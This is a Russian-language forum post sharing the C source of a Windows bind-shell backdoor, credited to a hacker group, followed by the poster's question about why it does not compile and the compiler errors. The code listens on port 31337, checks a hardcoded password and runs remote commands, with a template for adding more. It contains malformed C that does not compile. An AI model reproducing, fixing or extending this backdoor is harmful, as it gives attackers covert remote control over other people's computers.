вот есть небольшой бинд шелл(взятый с Hell Knights Crew):
Код:
#include <winsock2.h>
#include <windows.h>
DWORD WINAPI InitWinSock2API(){
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
return 0;
}
DWORD WINAPI Backdoor_Recv(LPVOID lpParam){
DWORD WINAPI ClientSend(char * data, socket sock){
send(sock, data, lstrlen(data),0);
closesocket(sock);
ZeroMemory (&data, sizeof(data));
return 0;
}
SOCKET sock=(SOCKET)lpParam;
char recvbuffer[1024];
int ret, freq, times, rand1, rand2;
while(1){
ZeroMemory (&recvbuffer, sizeof(recvbuffer));
ret = recv(sock, recvbuffer, 1024, 0);
if (ret == SOCKET_ERROR) break; else
if(lstrlen(recvbuffer) > 0){
char * array[1024];
char * t = strtok(recvbuffer,"ђ");
int i; int portint;
for(i = 0; t; t = strtok(NULL,"ђ"), i++){ array[i] = t; }
if (lstrcmp(array[0], "login:password")==0){
if (lstrcmp(array[1], "msgbox")==0){
char * msg = array[2]; // получаем 2 и 3 элемент массива
char * title = array[3]; // и заголовок messagebox.
MessageBox(0,msg,title,0); // выводим messagebox.
ClientSend("messagebox ok", sock);
}
// пример вашей команды:
// else if(lstrcmp(array[1], "ваша_команда")==0)
// {
// ...
// }
else{
// отсылаем клиенту сообщение "unknown command"
ClientSend("unknown command", sock);
}
} else {
ClientSend("authorization failed", sock);
}
}
}
return 0;
}
DWORD WINAPI Backdoor_Listen(short port){
SOCKET server, client; // сокеты для клиента и сервера
SOCKADDR_IN localaddr, clientaddr; // структуры для клиента и сервера
HANDLE hThread; // хэндл потока
int clientSize=sizeof(clientaddr);
server=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
localaddr.sin_addr.s_addr=htonl(INADDR_ANY);// любом сетевом интерфейсе;
localaddr.sin_family=AF_INET; // работаем с интернетом;
localaddr.sin_port=htons(port); // присвайваем порт;
bind(server, (struct sockaddr *)&localaddr, sizeof(localaddr));
listen(server, SOMAXCONN);
while(1){
client=accept(server,(struct sockaddr *)&clientaddr,&clientSize);
hThread = StartThread(Backdoor_Recv,(LPVOID)client);
CloseHandle(hThread);
}
closesocket(server); // закрываем сокет
return 0;
}
HANDLE WINAPI StartThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID param){
DWORD lpThreadId;
return CreateThread(NULL, NULL, lpStartAddress, param, NULL, &lpThreadId);
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow){
InitWinSock2API(); // инициализируем WinSock2 API
Backdoor_Listen(31337); // Ставим порт на прослушку и подключаем клиентов:
// WSACleanup(); // по завершению работы заканчиваем работу с Winsock2
}
почему сия прелесть не компилится Microsoft VC++ Studio 2003 ?
пишет вот это:
main.cpp(13): error C2061: syntax error : identifier 'socket'
main.cpp(13): error C2601: 'ClientSend' : local function definitions are illegal
main.cpp(38): error C2660: 'ClientSend' : function does not take 2 arguments
main.cpp(48): error C2660: 'ClientSend' : function does not take 2 arguments
main.cpp(51): error C2660: 'ClientSend' : function does not take 2 arguments
main.cpp(80): error C3861: 'StartThread': identifier not found, even with argument-dependent lookup
main.cpp(89): error C2365: 'StartThread' : redefinition; previous definition was a 'formerly unknown identifier'